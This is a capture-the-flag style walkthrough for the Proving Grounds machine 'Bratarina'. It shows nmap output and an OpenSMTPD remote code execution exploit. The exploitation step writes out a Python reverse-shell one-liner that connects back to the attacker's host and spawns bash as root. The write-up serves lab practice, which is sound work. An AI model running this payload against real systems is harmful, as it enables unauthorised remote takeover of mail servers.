Bratarina

Exploitation Guide for Bratarina | Proving Grounds

Summary:

We will be exploiting OpenSMTP vulnerability to get the RCE as root.

Enumeration:

Nmap:

	┌──(imtodess㉿deathnote)-[~/…/boxes/pg/bratarina/scans]                                                                                                                 
	└─$ sudo nmap $ip -sVCS -O -oN nmapInitial.txt                                  1 ⨯                                                                                     
	[sudo] password for imtodess:                                                                                                                                           
	Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-23 00:23 EDT                                                                                                         
	Nmap scan report for 192.168.209.71                                                                                                                                     
	Host is up (0.25s latency).                                                                                                                                             
	Not shown: 995 filtered ports                                                                                                                                           
	PORT    STATE  SERVICE     VERSION                                                                                                                                      
	22/tcp  open   ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)                                                                                 
	| ssh-hostkey:                                                                                                                                                          
	|   2048 db:dd:2c:ea:2f:85:c5:89:bc:fc:e9:a3:38:f0:d7:50 (RSA)                                                                                                          
	|   256 e3:b7:65:c2:a7:8e:45:29:bb:62:ec:30:1a:eb:ed:6d (ECDSA)                                                                                                         
	|_  256 d5:5b:79:5b:ce:48:d8:57:46:db:59:4f:cd:45:5d:ef (ED25519)
	25/tcp  open   smtp        OpenSMTPD
	| smtp-commands: bratarina Hello nmap.scanme.org [192.168.49.209], pleased to meet you, 8BITMIME, ENHANCEDSTATUSCODES, SIZE 36700160, DSN, HELP, 
	|_ 2.0.0 This is OpenSMTPD 2.0.0 To report bugs in the implementation, please contact [e-mail] 2.0.0 with full details 2.0.0 End of HELP info 
	53/tcp  closed domain
	80/tcp  open   http        nginx 1.14.0 (Ubuntu)
	|_http-server-header: nginx/1.14.0 (Ubuntu)
	|_http-title:         Page not found - FlaskBB        
	445/tcp open   netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: COFFEECORP)
	Aggressive OS guesses: Linux 2.6.32 (88%), Linux 2.6.32 or 3.10 (88%), Linux 2.6.39 (88%), Linux 3.10 - 3.12 (88%), Linux 3.4 (88%), Linux 3.5 (88%), Linux 4.4 (88%), S
	ynology DiskStation Manager 5.1 (88%), WatchGuard Fireware 11.8 (88%), Linux 2.6.35 (87%)
	No exact OS matches for host (test conditions non-ideal).
	Service Info: Host: bratarina; OS: Linux; CPE: cpe:/o:linux:linux_kernel
	
	Host script results:                      
	|_clock-skew: mean: 1h20m02s, deviation: 2h18m36s, median: 0s
	| smb-os-discovery:                       
	|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
	|   Computer name: bratarina
	|   NetBIOS computer name: BRATARINA\x00
	|   Domain name: \x00
	|   FQDN: bratarina                                                                 
	|_  System time: 2021-08-23T00:23:48-04:00 
	| smb-security-mode: 
	|   account_used: guest
	|   authentication_level: user
	|   challenge_response: supported
	|_  message_signing: disabled (dangerous, but default)
	| smb2-security-mode: 
	|   2.02:                                 
	|_    Message signing enabled but not required
	| smb2-time:                              
	|   date: 2021-08-23T04:23:46
|_  start_date: N/A  

Here we see that OpenSMTP 2.0.0 is installed in the system.

Exploitation:

Get the Exploit from :

OpenSMTPD 6.6.1 - Remote Code ExecutionExploit Database

Run the following command

	┌──(imtodess㉿deathnote)-[~/…/boxes/pg/bratarina/exploits]
	└─$ python3 exploit.py 192.168.209.71 25 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.49.209\",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")"'                                                                
	
	[*] OpenSMTPD detected
	[*] Connected, sending payload
	[*] Payload sent
	[*] Done

Start a netcat listener to get the shell.